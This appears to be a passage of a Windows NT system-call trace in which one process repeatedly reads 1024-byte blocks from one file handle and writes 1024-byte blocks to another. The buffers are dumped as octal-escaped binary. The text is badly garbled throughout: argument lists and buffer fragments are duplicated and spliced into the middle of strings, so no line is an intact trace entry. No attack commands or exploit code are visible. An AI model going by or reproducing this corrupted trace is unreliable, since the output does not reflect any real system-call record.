 01326  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\220\331'\22r"\27\203^\346\261 \346\247\335.{5x8a6|\305\227=Q\272Tx=>>s\266\267\374\37!\211\312\221\255\224 \2+\350'\1/\336\321\378\240\254D\0\275\230"6:4<2>\14\24\34\302+\367\202\21:\365\21\308|\367\34\3474\275\3461x\241r\343\2436\230\346(!X,\336\2541\374?\2\335\35G?0\336\345\362$\32\342<\10\301\254\35378j5/1>\349\336\355<\148'\\365%\370\233\30\230\13\213\4\213\266"8'%;\37j>\1h9\206\16\330\7q\3\244}9\274y60\257:J\24\377\276L\342\13\347$\373 !\243bL\21*-n#(\224X0\243\5'\3343E+\350n)\17\32461O\21\356{\256\26\225*\332\335\332\332f\314/\242\347\303\371=n\27pl%<\261G\332\345&!p\374_>\301?\33\364\317N\35\2534-\247\313\2403\302\205\257?\215\36T\251:\377\273'\210\3445\266K\34\31mm\324\314\374\26\12\:\21\232\212\3637tq\315h\373\30(/Y\3148\340\303\337$\362\35A\345U\330-\332/k\323(\326!"n\213\3603s8z\3666z5\372=Lx2\225\233\24\30\276\32%\201*&\364 #e\350,/),)"\3534\321\37\362/\33631x\0\2~:-\227R[\32O\276\3581" \345\313t!\270)>>M/\356\254\262I\22335M\2427;\231\271\207\275>>{?`\236\346\33Uh"\250\240\1\246'+\254\352/Y\13\276/\27011\260\314\257B2\204\362\332+\324\245>!%\227'\240\31\312\33\5\36]\34X\22\351\20\20\27s\25\240\13", ) \27\203^\346\261 \346\247\335.{5x8a6|\305\227=Q\272Tx=>>s\266\267\374\37!\211\312\221\255\224 \2+\350'\1/\336\321\378\240\254D\0\275\230 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\220\331'\22r"\27\203^\346\261 \346\247\335.{5x8a6|\305\227=Q\272Tx=>>s\266\267\374\37!\211\312\221\255\224 \2+\350'\1/\336\321\378\240\254D\0\275\230"6:4<2>\14\24\34\302+\367\202\21:\365\21\308|\367\34\3474\275\3461x\241r\343\2436\230\346(!X,\336\2541\374?\2\335\35G?0\336\345\362$\32\342<\10\301\254\35378j5/1>\349\336\355<\148'\\365%\370\233\30\230\13\213\4\213\266"8'%;\37j>\1h9\206\16\330\7q\3\244}9\274y60\257:J\24\377\276L\342\13\347$\373 !\243bL\21*-n#(\224X0\243\5'\3343E+\350n)\17\32461O\21\356{\256\26\225*\332\335\332\332f\314/\242\347\303\371=n\27pl%<\261G\332\345&!p\374_>\301?\33\364\317N\35\2534-\247\313\2403\302\205\257?\215\36T\251:\377\273'\210\3445\266K\34\31mm\324\314\374\26\12\:\21\232\212\3637tq\315h\373\30(/Y\3148\340\303\337$\362\35A\345U\330-\332/k\323(\326!"n\213\3603s8z\3666z5\372=Lx2\225\233\24\30\276\32%\201*&\364 #e\350,/),)"\3534\321\37\362/\33631x\0\2~:-\227R[\32O\276\3581" \345\313t!\270)>>M/\356\254\262I\22335M\2427;\231\271\207\275>>{?`\236\346\33Uh"\250\240\1\246'+\254\352/Y\13\276/\27011\260\314\257B2\204\362\332+\324\245>!%\227'\240\31\312\33\5\36]\34X\22\351\20\20\27s\25\240\13", ) 8'%;\37j>\1h9\206\16\330\7q\3\244}9\274y60\257:J\24\377\276L\342\13\347$\373 !\243bL\21*-n#(\224X0\243\5'\3343E+\350n)\17\32461O\21\356{\256\26\225*\332\335\332\332f\314/\242\347\303\371=n\27pl%<\261G\332\345&!p\374_>\301?\33\364\317N\35\2534-\247\313\2403\302\205\257?\215\36T\251:\377\273'\210\3445\266K\34\31mm\324\314\374\26\12\:\21\232\212\3637tq\315h\373\30(/Y\3148\340\303\337$\362\35A\345U\330-\332/k\323(\326!377\23\0\211Oc(\16&&i%\34\352-m (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\220\331'\22r"\27\203^\346\261 \346\247\335.{5x8a6|\305\227=Q\272Tx=>>s\266\267\374\37!\211\312\221\255\224 \2+\350'\1/\336\321\378\240\254D\0\275\230"6:4<2>\14\24\34\302+\367\202\21:\365\21\308|\367\34\3474\275\3461x\241r\343\2436\230\346(!X,\336\2541\374?\2\335\35G?0\336\345\362$\32\342<\10\301\254\35378j5/1>\349\336\355<\148'\\365%\370\233\30\230\13\213\4\213\266"8'%;\37j>\1h9\206\16\330\7q\3\244}9\274y60\257:J\24\377\276L\342\13\347$\373 !\243bL\21*-n#(\224X0\243\5'\3343E+\350n)\17\32461O\21\356{\256\26\225*\332\335\332\332f\314/\242\347\303\371=n\27pl%<\261G\332\345&!p\374_>\301?\33\364\317N\35\2534-\247\313\2403\302\205\257?\215\36T\251:\377\273'\210\3445\266K\34\31mm\324\314\374\26\12\:\21\232\212\3637tq\315h\373\30(/Y\3148\340\303\337$\362\35A\345U\330-\332/k\323(\326!"n\213\3603s8z\3666z5\372=Lx2\225\233\24\30\276\32%\201*&\364 #e\350,/),)"\3534\321\37\362/\33631x\0\2~:-\227R[\32O\276\3581" \345\313t!\270)>>M/\356\254\262I\22335M\2427;\231\271\207\275>>{?`\236\346\33Uh"\250\240\1\246'+\254\352/Y\13\276/\27011\260\314\257B2\204\362\332+\324\245>!%\227'\240\31\312\33\5\36]\34X\22\351\20\20\27s\25\240\13", ) \3534\321\37\362/\33631x\0\2~:-\227R[\32O\276\3581 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\220\331'\22r"\27\203^\346\261 \346\247\335.{5x8a6|\305\227=Q\272Tx=>>s\266\267\374\37!\211\312\221\255\224 \2+\350'\1/\336\321\378\240\254D\0\275\230"6:4<2>\14\24\34\302+\367\202\21:\365\21\308|\367\34\3474\275\3461x\241r\343\2436\230\346(!X,\336\2541\374?\2\335\35G?0\336\345\362$\32\342<\10\301\254\35378j5/1>\349\336\355<\148'\\365%\370\233\30\230\13\213\4\213\266"8'%;\37j>\1h9\206\16\330\7q\3\244}9\274y60\257:J\24\377\276L\342\13\347$\373 !\243bL\21*-n#(\224X0\243\5'\3343E+\350n)\17\32461O\21\356{\256\26\225*\332\335\332\332f\314/\242\347\303\371=n\27pl%<\261G\332\345&!p\374_>\301?\33\364\317N\35\2534-\247\313\2403\302\205\257?\215\36T\251:\377\273'\210\3445\266K\34\31mm\324\314\374\26\12\:\21\232\212\3637tq\315h\373\30(/Y\3148\340\303\337$\362\35A\345U\330-\332/k\323(\326!"n\213\3603s8z\3666z5\372=Lx2\225\233\24\30\276\32%\201*&\364 #e\350,/),)"\3534\321\37\362/\33631x\0\2~:-\227R[\32O\276\3581" \345\313t!\270)>>M/\356\254\262I\22335M\2427;\231\271\207\275>>{?`\236\346\33Uh"\250\240\1\246'+\254\352/Y\13\276/\27011\260\314\257B2\204\362\332+\324\245>!%\227'\240\31\312\33\5\36]\34X\22\351\20\20\27s\25\240\13", ) \250\240\1\246'+\254\352/Y\13\276/\27011\260\314\257B2\204\362\332+\324\245>!%\227'\240\31\312\33\5\36]\34X\22\351\20\20\27s\25\240\13", ) == 0x0
 01327  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\273\256~\2\245%e\342\253\306\11yy\205C\314\313\210yz\377\305\371\371\3573\300\237u\300\230\277\17\370\237\303aDq\311du=x\377 1Mg\10\211\17\211\0o\232\312\231'\231\237\354\201<@\310RHG\346\25l\14h}@\0\3\336\316,\234\311x\325*\260\210`R\271\256s$S!R\35\315a\350k\254\301\274\0\207Z>X\324\257\300\36Qk\327\335\21l\22\206\341wD\206\24\346<\27u\226\26\266\257\234\22D\245x\2025\25\351\247\2U\228\371EK4l\234\3350\257f,d,;\324\25A\243\317\375;\375W\202\271`\315\342\302\310R\27\350\277\263B\316\225\214\2Fr\364\270\263\221\23M\225}\370\234\255\31\215\260/H\212\275\21y8\305\361xz\322\244\301\345ud\307\302\25\347W\305+\334\307\224\255\356\306\201~\267\344\214\323\233\304%a&\333\23\22\3\244+\344\24\344\312\241\5%$\266\375\254l\276g\274\7\333\220w\333\252\343R\205(\260\225\255\2705\374\330\355\330\271\331\270\203\321\244z$\2734\233\2409|\211\327-~wE\340\366P\214\21^\315\263\211d\16~\323t\371r\267xi.\214{\217lr_Q-U\361\312L\255d\330\202U\256x8B\303\203`\256\204o\354\312<}\332\33U\224=\232\14\256\332P\3162\250)\266\352\374{l}\311\251\27\232\212B\31\377\254'\264y\311c\257\257\316\240`j\371\306\262\224\240\233\370I\244\342c\347\274xH\326\326s-?\26\376\254>\250\3411\371\256\214\351\235\22`G\374\334\345/\27\36}\372\2143B\5\363\322\34\12I\234\242A\240\321\315E~\263\321\23lC\177E8\346\316\366\227\2237'\17R\366{\357\361>\203\365\366\226D\357O\35H\3\36\20\343\200\212\337\231\350;g\304", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01328  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "3\271;\24\253\25<:\226F\34\37\32](\16C\12\205%|G\252rz\212,\255\34\212<0\22\33a\366=\27S9_B\25=9ksy\377s\317$#QQejV-\350\0.^M<\241Y05ei$vea{\273\276V[P\277\317|Kx|\LH\322.d%%p\33\33~Zi(\34\317\3603\332\31E\34F\255\263\377\343\256\250-\375\220\35\263\33J\260&\203$\265L%Bd.9:\233>\202\377/t\27\364\34344\3362\3729\1\232\375=<\327\343\262\334\36{\341!\12 \314\316\344'Q\350*/l6>\211.x\271\315\2777\347\3478\377~/,\35|\266\11\35\36\324\333?.\241\3774d%F\11X+\0\325\240z; 1\271\362\277\302\275\315\371\320:9\317\230\265\367\230\375\36Z\354\204\3642\227\0\1F'}\311\25##-}\245l\261\26?\260\356`C\36\2712-0>0/\13\261]7\330f4\242#&\245\31\340n3ZsL\245p6nj\2036V7F\322\;\275[>\16\376\217\32|\27\356\27/2 l"\272>\264+\240\372$\270\356\373*\330\206\277\2221}9\262\220\2100\23x\356;\203\36,\20x/'\244\342,\241\252\177\247)\300\337\312Q\273"c\251=3\366\2459j\2554<\322\4\3342\2543QT\201\22S\303'\246\213% %\7\201-\353/-\250\216D\334\2614[46\266\27\2205\322\343\336>}?\220\344w\34\232\340!u\203\316\21\3312\310x.+\364\250\365\246l\25\26F\256#\226e\340\2118h\12\274\372\236\26\37\34(\251#K&p\344%'\307\6*\253Em/\27>D8r\260\20\3642W+K\311\273!!\232$", ) \272>\264+\240\372$\270\356\373*\330\206\277\2221}9\262\220\2100\23x\356;\203\36,\20x/'\244\342,\241\252\177\247)\300\337\312Q\273 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "3\271;\24\253\25<:\226F\34\37\32](\16C\12\205%|G\252rz\212,\255\34\212<0\22\33a\366=\27S9_B\25=9ksy\377s\317$#QQejV-\350\0.^M<\241Y05ei$vea{\273\276V[P\277\317|Kx|\LH\322.d%%p\33\33~Zi(\34\317\3603\332\31E\34F\255\263\377\343\256\250-\375\220\35\263\33J\260&\203$\265L%Bd.9:\233>\202\377/t\27\364\34344\3362\3729\1\232\375=<\327\343\262\334\36{\341!\12 \314\316\344'Q\350*/l6>\211.x\271\315\2777\347\3478\377~/,\35|\266\11\35\36\324\333?.\241\3774d%F\11X+\0\325\240z; 1\271\362\277\302\275\315\371\320:9\317\230\265\367\230\375\36Z\354\204\3642\227\0\1F'}\311\25##-}\245l\261\26?\260\356`C\36\2712-0>0/\13\261]7\330f4\242#&\245\31\340n3ZsL\245p6nj\2036V7F\322\;\275[>\16\376\217\32|\27\356\27/2 l"\272>\264+\240\372$\270\356\373*\330\206\277\2221}9\262\220\2100\23x\356;\203\36,\20x/'\244\342,\241\252\177\247)\300\337\312Q\273"c\251=3\366\2459j\2554<\322\4\3342\2543QT\201\22S\303'\246\213% %\7\201-\353/-\250\216D\334\2614[46\266\27\2205\322\343\336>}?\220\344w\34\232\340!u\203\316\21\3312\310x.+\364\250\365\246l\25\26F\256#\226e\340\2118h\12\274\372\236\26\37\34(\251#K&p\344%'\307\6*\253Em/\27>D8r\260\20\3642W+K\311\273!!\232$", ) !!\232$", ) == 0x0
 01329  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\5\312\245\243\257p\261\274\34\36B8w\353\270\17\5\25p\376N\26{\312\332|\344\230\370zu)\266\177\350\327\223(\332h\306V\262(<%\16\350\247/\360\10\17E\347\\277o~-\217\272\366\234\6\24\204\300V_\247\246P\210q/\320P\266\310+`\363`9\251\363\264#\211\206\331I\301L\246j-\267KF[J\262\345?Xc\252$\273\214\243\366\370\271w\206\320\253\373\37\33w\6\5\367\230\302s>\4\275\255\26o\376r\241{d\215p<\24\344\344\33"\253\266'"\332C\300\300B\222<\2056C\3426\254\375\202\207\225\216&`\267%\352pL4\262\347@\352\275\315\23+iXY\277(Q\13\317\237\235\256\313X\253\225E\313\332Fc=\31360\250]\276\213\231\237\235\330W\23\357r\263[\34\347\226\370\6\246\37}-\234\223\364\271%\225\316\202\10\2178\317\205\316'5Q\275\321\343\252\323\245\207g\311\307\334\3541\3257\211Q\352-VQ\223]\211\334\205\343O\377.\365/$\251\330c\36\261h\236\35\241\222;\355\34,!?\224\322\26\355M\323}\215\221\5\202\37\23\374\233\35\4\32\200\232\23\247\355\13\242Tw\357\203\7_$(~\215\260\306l\247\246Z#v>\274*\32\221\363\1$\21\25OC\357\257\347\333\256\205J\5"\17\6\246\266[\223\257n\\2\37\347\31,q\2649\365%1Qh\264v\7\323\254\377#\35\300\327k\362;M\273\32s\36=,\200\\366n\245Nr!Q|\330\313\336\33\230t\35#\365n\215\354\30k\3\321\226l\3\316ui\266\311\316\204D\246\213{\363z\343t\302\337\231\354\230\370\227\342\320f\367H\33c\327\361\326\351\260\220/\315h\205\222%\6,&\315253\266' (92, 0, 0, 0, "\5\312\245\243\257p\261\274\34\36B8w\353\270\17\5\25p\376N\26{\312\332|\344\230\370zu)\266\177\350\327\223(\332h\306V\262(<%\16\350\247/\360\10\17E\347\\277o~-\217\272\366\234\6\24\204\300V_\247\246P\210q/\320P\266\310+`\363`9\251\363\264#\211\206\331I\301L\246j-\267KF[J\262\345?Xc\252$\273\214\243\366\370\271w\206\320\253\373\37\33w\6\5\367\230\302s>\4\275\255\26o\376r\241{d\215p<\24\344\344\33"\253\266'"\332C\300\300B\222<\2056C\3426\254\375\202\207\225\216&`\267%\352pL4\262\347@\352\275\315\23+iXY\277(Q\13\317\237\235\256\313X\253\225E\313\332Fc=\31360\250]\276\213\231\237\235\330W\23\357r\263[\34\347\226\370\6\246\37}-\234\223\364\271%\225\316\202\10\2178\317\205\316'5Q\275\321\343\252\323\245\207g\311\307\334\3541\3257\211Q\352-VQ\223]\211\334\205\343O\377.\365/$\251\330c\36\261h\236\35\241\222;\355\34,!?\224\322\26\355M\323}\215\221\5\202\37\23\374\233\35\4\32\200\232\23\247\355\13\242Tw\357\203\7_$(~\215\260\306l\247\246Z#v>\274*\32\221\363\1$\21\25OC\357\257\347\333\256\205J\5"\17\6\246\266[\223\257n\\2\37\347\31,q\2649\365%1Qh\264v\7\323\254\377#\35\300\327k\362;M\273\32s\36=,\200\\366n\245Nr!Q|\330\313\336\33\230t\35#\365n\215\354\30k\3\321\226l\3\316ui\266\311\316\204D\246\213{\363z\343t\302\337\231\354\230\370\227\342\320f\367H\33c\327\361\326\351\260\220/\315h\205\222%\6,&\31517\6\246\266[\223\257n\\2\37\347\31,q\2649\365%1Qh\264v\7\323\254\377#\35\300\327k\362;M\273\32s\36=,\200\\366n\245Nr!Q|\330\313\336\33\230t\35#\365n\215\354\30k\3\321\226l\3\316ui\266\311\316\204D\246\213{\363z\343t\302\337\231\354\230\370\227\342\320f\367H\33c\327\361\326\351\260\220/\315h\205\222%\6,&\315257\2047\3157\1\17|Mn\24a\32", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01330  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17dG/}\223\360"sK4\336\33\371\226t4<\2608\224\360\223\33\225\31\246\255$U\253#\251!\247/\206C\347\242(\2446'\27652\2720\20\267?7;]\362\365\252\331\310\276\250\25\260 "\357(%L\330@\337*\203o-/K\221163dQ\2775\316\277?o\30)V#Z\35\235\23\236\302\336\335#&w6q\327\301$$'\330\327\250\350+\323\322.-\23\363b\272lq\22\23\334NJ?\4\35", ) sK4\336\33\371\226t4<\2608\224\360\223\33\225\31\246\255$U\253#\251!\247/\206C\347\242(\2446'\27652\2720\20\267?7;]\362\365\252\331\310\276\250\25\260  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\17dG/}\223\360"sK4\336\33\371\226t4<\2608\224\360\223\33\225\31\246\255$U\253#\251!\247/\206C\347\242(\2446'\27652\2720\20\267?7;]\362\365\252\331\310\276\250\25\260 "\357(%L\330@\337*\203o-/K\221163dQ\2775\316\277?o\30)V#Z\35\235\23\236\302\336\335#&w6q\327\301$$'\330\327\250\350+\323\322.-\23\363b\272lq\22\23\334NJ?\4\35", ) \301$$'\330\327\250\350+\323\322.-\23\363b\272lq\22\23\334NJ?\4\35", ) == 0x0
 01331  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "<\321\360\235,\304\275T\313O\3514`\253\203\220\223@v\355:C\37488\262\24p\340\177\257Q\311\343\36\373\\177T\267\372\2\32\6\276;\13\244\311\36e\330\214+\31\326\252\10I\374=\212t\254\273\250A\326\23\12T+[\306\272\2\370\324V>\7~w\374\263%\2467d[\341\200\14%LOm\350\213Y:\212\231\320\246\20v\10~\273\324J\242. \247\34\320\210\4J$\22\30\211\363\217*\302\354\276\317\374n\257\2449!Zm1\332\14n>\312M\221\255L\235\16\2020\311\275g(\227\337\2N\310\272\300\254\376e\246&\243\351N\321\334\265\227\237\334y\11fd\314:\3339\337\277jvrRTo`\11\374v\342-%H\3303\227\302\313\242\275\316Z'd\254W\350\4\217\361_B\2405\33\345(\252*!S\1Z\241@\232pV\202f\265L\232\242\212\13\331\311\242\a\35\15 \310(\322\37\346\342n\253\250\202\373\26a\255\215\200\234\226x\262@:\210\315\345\366\261\1770*"\344&\36(\333]\237\27c!\232L*\335\373`\213"4\344\20\224s\224\17\301\202\353\330\353\323\201X\7\27%\314C\27\326\347\232\304\317e\13\211\323\24L\370\21J\340\205\331-U\361 \351\300N\223\201\264\262\25\250\21\350\255\376+\326gM\200\375\316\346\303vzB\261\273/\2\303i+\236\212\271\215\346\205xY\272\370\244O\351\242\33w\317\375\226\356\177\201\177<\371\252\231\227\3721ch7y\335;q\357\233=\252\251.)\366\301\233\25\232\357\276\230Uh\223E\375\314\3\337*\263\333\235Hx#\313\24\5\365^tu\314U)\334`\372W\362\6\313\235\236\275\310\356\361\241\235-\252\17!+\305Z\316a\215\242E\363n\241\34\345\26\30O\12\307,\201y\307\31\212@", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \344&\36(\333]\237\27c!\232L*\335\373`\213 (92, 0, 0, 0, "<\321\360\235,\304\275T\313O\3514`\253\203\220\223@v\355:C\37488\262\24p\340\177\257Q\311\343\36\373\\177T\267\372\2\32\6\276;\13\244\311\36e\330\214+\31\326\252\10I\374=\212t\254\273\250A\326\23\12T+[\306\272\2\370\324V>\7~w\374\263%\2467d[\341\200\14%LOm\350\213Y:\212\231\320\246\20v\10~\273\324J\242. \247\34\320\210\4J$\22\30\211\363\217*\302\354\276\317\374n\257\2449!Zm1\332\14n>\312M\221\255L\235\16\2020\311\275g(\227\337\2N\310\272\300\254\376e\246&\243\351N\321\334\265\227\237\334y\11fd\314:\3339\337\277jvrRTo`\11\374v\342-%H\3303\227\302\313\242\275\316Z'd\254W\350\4\217\361_B\2405\33\345(\252*!S\1Z\241@\232pV\202f\265L\232\242\212\13\331\311\242\a\35\15 \310(\322\37\346\342n\253\250\202\373\26a\255\215\200\234\226x\262@:\210\315\345\366\261\1770*"\344&\36(\333]\237\27c!\232L*\335\373`\213"4\344\20\224s\224\17\301\202\353\330\353\323\201X\7\27%\314C\27\326\347\232\304\317e\13\211\323\24L\370\21J\340\205\331-U\361 \351\300N\223\201\264\262\25\250\21\350\255\376+\326gM\200\375\316\346\303vzB\261\273/\2\303i+\236\212\271\215\346\205xY\272\370\244O\351\242\33w\317\375\226\356\177\201\177<\371\252\231\227\3721ch7y\335;q\357\233=\252\251.)\366\301\233\25\232\357\276\230Uh\223E\375\314\3\337*\263\333\235Hx#\313\24\5\365^tu\314U)\334`\372W\362\6\313\235\236\275\310\356\361\241\235-\252\17!+\305Z\316a\215\242E\363n\241\34\345\26\30O\12\307,\201y\307\31\212@", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01332  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\348\202\237\313\225%^\213\243!\310\271l(yl5\255\206\225\36d\3044K\3179\7\316>K\375\374\375\25\236W\200\353\312\32758\226 \371 \227Y=\30\216\7\322"%\31\240`\305;\227\177\372:_\24\357\312'\307%\325\34\257\37.\326\30d\27e\25v\23\336\21/1\341035\22164\254\11\242\13\240\15\236\17\277,9/1\21B\23\307\25\320\27\331\31,\30\31\36\24\34K\2[\0=\7-\5\2\13\6\11O\17G\301*\277\214\210Iu\1K*\13N\6\347}B\3{\242S\256+\277\375'\346?+\322\25]\7V3j)\374\204^\222n*\202\265\245 \37\300)\1771\323\322yE/[\262.^\26\\31R\20\372|\26,\236\W8!~|\254\10"$\246&& \0\310\256\240\342\241\306\21\20]\362\266\37]\223:C\248>&_1;\177\35\30\35Co\351\243"\2057m\2108B\13m(\316,`qX2e\2278\215x(\>I=\225\264\346\367\272\225X8 \363.t\315iD\326\326w\13\307 \245`(\340&+\334{\11\3078\12+\331"0w\3168S)(\342",\356!0\3rs%-"\366\177fz\5gd\233\20$\204\244\211\257\243\341\305\23\226\35\3474"\211{,\315d\220@\363D\372\226657<\234*\12?4\35j;KM\365\240P`\22\203)\217=\11\32\351,\243\254#Na\241m\247\3\333Bu"\354\243\2109\325\2147\375\262\37^\242N\31(wJ-\264$\253\347,\251x\246(\352N/\361\34\336\207{\2475g6\305+\222\14\10\217\313\277\225\233?<\347\247\2\0"\5i\265\357x\11-\245o\17\351\2661", ) %\31\240`\305;\227\177\372:_\24\357\312'\307%\325\34\257\37.\326\30d\27e\25v\23\336\21/1\341035\22164\254\11\242\13\240\15\236\17\277,9/1\21B\23\307\25\320\27\331\31,\30\31\36\24\34K\2[\0=\7-\5\2\13\6\11O\17G\301*\277\214\210Iu\1K*\13N\6\347}B\3{\24212\307>S\256+\277\375'\346?+\322\25]\7V3j)\374\204^\222n*\202\265\245 \37\300)\1771\323\322yE/[\262.^\26\\31R\20\372|\26,\236\W8!~|\254\10 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\348\202\237\313\225%^\213\243!\310\271l(yl5\255\206\225\36d\3044K\3179\7\316>K\375\374\375\25\236W\200\353\312\32758\226 \371 \227Y=\30\216\7\322"%\31\240`\305;\227\177\372:_\24\357\312'\307%\325\34\257\37.\326\30d\27e\25v\23\336\21/1\341035\22164\254\11\242\13\240\15\236\17\277,9/1\21B\23\307\25\320\27\331\31,\30\31\36\24\34K\2[\0=\7-\5\2\13\6\11O\17G\301*\277\214\210Iu\1K*\13N\6\347}B\3{\242S\256+\277\375'\346?+\322\25]\7V3j)\374\204^\222n*\202\265\245 \37\300)\1771\323\322yE/[\262.^\26\\31R\20\372|\26,\236\W8!~|\254\10"$\246&& \0\310\256\240\342\241\306\21\20]\362\266\37]\223:C\248>&_1;\177\35\30\35Co\351\243"\2057m\2108B\13m(\316,`qX2e\2278\215x(\>I=\225\264\346\367\272\225X8 \363.t\315iD\326\326w\13\307 \245`(\340&+\334{\11\3078\12+\331"0w\3168S)(\342",\356!0\3rs%-"\366\177fz\5gd\233\20$\204\244\211\257\243\341\305\23\226\35\3474"\211{,\315d\220@\363D\372\226657<\234*\12?4\35j;KM\365\240P`\22\203)\217=\11\32\351,\243\254#Na\241m\247\3\333Bu"\354\243\2109\325\2147\375\262\37^\242N\31(wJ-\264$\253\347,\251x\246(\352N/\361\34\336\207{\2475g6\305+\222\14\10\217\313\277\225\233?<\347\247\2\0"\5i\265\357x\11-\245o\17\351\2661", ) \2057m\2108B\13m(\316,`qX2e\2278\215x(\>I=\225\264\346\367\272\225X8 \363.t\315iD\326\326w\13\307 \245`(\340&+\334{\11\3078\12+\33127\20\377ty" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\348\202\237\313\225%^\213\243!\310\271l(yl5\255\206\225\36d\3044K\3179\7\316>K\375\374\375\25\236W\200\353\312\32758\226 \371 \227Y=\30\216\7\322"%\31\240`\305;\227\177\372:_\24\357\312'\307%\325\34\257\37.\326\30d\27e\25v\23\336\21/1\341035\22164\254\11\242\13\240\15\236\17\277,9/1\21B\23\307\25\320\27\331\31,\30\31\36\24\34K\2[\0=\7-\5\2\13\6\11O\17G\301*\277\214\210Iu\1K*\13N\6\347}B\3{\242S\256+\277\375'\346?+\322\25]\7V3j)\374\204^\222n*\202\265\245 \37\300)\1771\323\322yE/[\262.^\26\\31R\20\372|\26,\236\W8!~|\254\10"$\246&& \0\310\256\240\342\241\306\21\20]\362\266\37]\223:C\248>&_1;\177\35\30\35Co\351\243"\2057m\2108B\13m(\316,`qX2e\2278\215x(\>I=\225\264\346\367\272\225X8 \363.t\315iD\326\326w\13\307 \245`(\340&+\334{\11\3078\12+\331"0w\3168S)(\342",\356!0\3rs%-"\366\177fz\5gd\233\20$\204\244\211\257\243\341\305\23\226\35\3474"\211{,\315d\220@\363D\372\226657<\234*\12?4\35j;KM\365\240P`\22\203)\217=\11\32\351,\243\254#Na\241m\247\3\333Bu"\354\243\2109\325\2147\375\262\37^\242N\31(wJ-\264$\253\347,\251x\246(\352N/\361\34\336\207{\2475g6\305+\222\14\10\217\313\277\225\233?<\347\247\2\0"\5i\265\357x\11-\245o\17\351\2661", ) ,\356!0\3rs%- (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\348\202\237\313\225%^\213\243!\310\271l(yl5\255\206\225\36d\3044K\3179\7\316>K\375\374\375\25\236W\200\353\312\32758\226 \371 \227Y=\30\216\7\322"%\31\240`\305;\227\177\372:_\24\357\312'\307%\325\34\257\37.\326\30d\27e\25v\23\336\21/1\341035\22164\254\11\242\13\240\15\236\17\277,9/1\21B\23\307\25\320\27\331\31,\30\31\36\24\34K\2[\0=\7-\5\2\13\6\11O\17G\301*\277\214\210Iu\1K*\13N\6\347}B\3{\242S\256+\277\375'\346?+\322\25]\7V3j)\374\204^\222n*\202\265\245 \37\300)\1771\323\322yE/[\262.^\26\\31R\20\372|\26,\236\W8!~|\254\10"$\246&& \0\310\256\240\342\241\306\21\20]\362\266\37]\223:C\248>&_1;\177\35\30\35Co\351\243"\2057m\2108B\13m(\316,`qX2e\2278\215x(\>I=\225\264\346\367\272\225X8 \363.t\315iD\326\326w\13\307 \245`(\340&+\334{\11\3078\12+\331"0w\3168S)(\342",\356!0\3rs%-"\366\177fz\5gd\233\20$\204\244\211\257\243\341\305\23\226\35\3474"\211{,\315d\220@\363D\372\226657<\234*\12?4\35j;KM\365\240P`\22\203)\217=\11\32\351,\243\254#Na\241m\247\3\333Bu"\354\243\2109\325\2147\375\262\37^\242N\31(wJ-\264$\253\347,\251x\246(\352N/\361\34\336\207{\2475g6\305+\222\14\10\217\313\277\225\233?<\347\247\2\0"\5i\265\357x\11-\245o\17\351\2661", ) \211{,\315d\220@\363D\372\226657<\234*\12?4\35j;KM\365\240P`\22\203)\217=\11\32\351,\243\254#Na\241m\247\3\333Bu (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\348\202\237\313\225%^\213\243!\310\271l(yl5\255\206\225\36d\3044K\3179\7\316>K\375\374\375\25\236W\200\353\312\32758\226 \371 \227Y=\30\216\7\322"%\31\240`\305;\227\177\372:_\24\357\312'\307%\325\34\257\37.\326\30d\27e\25v\23\336\21/1\341035\22164\254\11\242\13\240\15\236\17\277,9/1\21B\23\307\25\320\27\331\31,\30\31\36\24\34K\2[\0=\7-\5\2\13\6\11O\17G\301*\277\214\210Iu\1K*\13N\6\347}B\3{\242S\256+\277\375'\346?+\322\25]\7V3j)\374\204^\222n*\202\265\245 \37\300)\1771\323\322yE/[\262.^\26\\31R\20\372|\26,\236\W8!~|\254\10"$\246&& \0\310\256\240\342\241\306\21\20]\362\266\37]\223:C\248>&_1;\177\35\30\35Co\351\243"\2057m\2108B\13m(\316,`qX2e\2278\215x(\>I=\225\264\346\367\272\225X8 \363.t\315iD\326\326w\13\307 \245`(\340&+\334{\11\3078\12+\331"0w\3168S)(\342",\356!0\3rs%-"\366\177fz\5gd\233\20$\204\244\211\257\243\341\305\23\226\35\3474"\211{,\315d\220@\363D\372\226657<\234*\12?4\35j;KM\365\240P`\22\203)\217=\11\32\351,\243\254#Na\241m\247\3\333Bu"\354\243\2109\325\2147\375\262\37^\242N\31(wJ-\264$\253\347,\251x\246(\352N/\361\34\336\207{\2475g6\305+\222\14\10\217\313\277\225\233?<\347\247\2\0"\5i\265\357x\11-\245o\17\351\2661", ) \5i\265\357x\11-\245o\17\351\2661", ) == 0x0
